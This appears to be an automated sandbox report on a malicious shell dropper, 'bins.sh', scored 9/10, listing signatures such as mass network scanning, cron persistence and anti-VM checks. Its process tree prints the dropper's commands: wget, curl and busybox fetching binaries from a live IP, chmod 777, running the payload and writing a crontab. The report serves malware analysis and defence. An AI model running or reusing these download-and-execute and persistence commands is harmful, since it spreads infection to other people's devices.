Overview

overview

9

Static

static

1

bins.sh

ubuntu-18.04-amd64

9

bins.sh

debian-9-armhf

9

bins.sh

debian-9-mips

8

bins.sh

debian-9-mipsel

9

Analysis

  • max time kernel
    149s
  • max time network
    151s
  • platform
    debian-9_armhf
  • resource
    debian9-armhf-20240418-en
  • resource tags

    arch:armhfimage:debian9-armhf-20240418-enkernel:4.9.0-13-armmp-lpaelocale:en-usos:debian-9-armhfsystem
  • submitted
    17/11/2024, 16:27

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General

  • Target
    bins.sh
  • Size 10KB
  • Sample241117-tx3pwstfke
  • SHA256 ab29f3543de0f1ac6eed17f5f8e014f208c04e91f39a6b184c1c64a2df8fa66b
  • MD5 SHA1 SHA512 SSDEEP
Score
9/10
antivmdefense_evasiondiscoveryexecutionpersistenceprivilege_escalatio

Malware Config

Signatures

  • Contacts a large (2167) amount of remote hosts 1 TTPs

    This may indicate a network scan to discover remotely running services.

    discovery
  • Creates a large amount of network flows 1 TTPs

    This may indicate a network scan to discover remotely running services.

    discovery
  • File and Directory Permissions Modification 1 TTPs 1 IoCs

    Adversaries may modify file or directory permissions to evade defenses.

    defense_evasion
  • Executes dropped EXE 1 IoCs
  • Renames itself 1 IoCs
  • Creates/modifies Cron job 1 TTPs 1 IoCs

    Cron allows running tasks on a schedule, and is commonly used for malware persistence.

    executionpersistenceprivilege_escalatio
  • Enumerates running processes

    Discovers information about currently running processes on the system

  • Checks CPU configuration 1 TTPs 2 IoCs

    Checks CPU information which indicate if the system is a virtual machine.

    antivm
  • Reads runtime system information 64 IoCs

    Reads data from /proc virtual filesystem.

    discovery
  • Writes file to tmp directory 4 IoCs

    Malware often drops required files in the /tmp directory.

Processes

  • /tmp/bins.sh
    /tmp/bins.sh
    1⤵
      PID:639
      • /bin/rm
        /bin/rm bins.sh
        2⤵
          PID:641
        • /usr/bin/wget
          wget http://87.120.125.191/bins/DvmEiEdxMkvkNjnd1TCaqPiNmHE8e0zqPU
          2⤵
          • Writes file to tmp directory
          PID:643
        • /usr/bin/curl
          curl -O http://87.120.125.191/bins/DvmEiEdxMkvkNjnd1TCaqPiNmHE8e0zqPU
          2⤵
          • Checks CPU configuration
          • Writes file to tmp directory
          PID:655
        • /bin/busybox
          /bin/busybox wget http://87.120.125.191/bins/DvmEiEdxMkvkNjnd1TCaqPiNmHE8e0zqPU
          2⤵
          • Writes file to tmp directory
          PID:666
        • /bin/chmod
          chmod 777 DvmEiEdxMkvkNjnd1TCaqPiNmHE8e0zqPU
          2⤵
          • File and Directory Permissions Modification
          PID:668
        • /tmp/DvmEiEdxMkvkNjnd1TCaqPiNmHE8e0zqPU
          ./DvmEiEdxMkvkNjnd1TCaqPiNmHE8e0zqPU
          2⤵
          • Executes dropped EXE
          • Renames itself
          • Reads runtime system information
          PID:670
          • /bin/sh
            sh -c "crontab -l"
            3⤵
              PID:672
              • /usr/bin/crontab
                crontab -l
                4⤵
                • Reads runtime system information
                PID:674
            • /bin/sh
              sh -c "crontab -"
              3⤵
                PID:676
                • /usr/bin/crontab
                  crontab -
                  4⤵
                  • Creates/modifies Cron job
                  PID:677
            • /bin/rm
              rm DvmEiEdxMkvkNjnd1TCaqPiNmHE8e0zqPU
              2⤵
                PID:681
              • /usr/bin/wget
                wget http://87.120.125.191/bins/AAYWfJQfjfATYdAXazEN60JwXIBOSX9cnJ
                2⤵
                • Writes file to tmp directory
                PID:684
              • /usr/bin/curl
                curl -O http://87.120.125.191/bins/AAYWfJQfjfATYdAXazEN60JwXIBOSX9cnJ
                2⤵
                • Checks CPU configuration
                PID:765

            Network

                  MITRE ATT&CK Enterprise v15

                  Replay Monitor

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                  Downloads

                  DvmEiEdxMkvkNjnd1TCaqPiNmHE8e0zqPU
                  • Path /tmp/DvmEiEdxMkvkNjnd1TCaqPiNmHE8e0zqPU
                  • Size 141KB
                  • SHA256 dee3a1252e88f188c362e08b16ece678559ad2566511871f5cde69296f6c779f
                  • MD5 SHA1 SHA512 SSDEEP
                  Submit Download

                  tmp.tDRsY7
                  • Path /var/spool/cron/crontabs/tmp.tDRsY7
                  • Size 210B
                  • SHA256 e4973b4270024a93a222b293f238eb322b1fdb58c9c650115a7c3312ca65723f
                  • MD5 SHA1 SHA512
                  Submit Download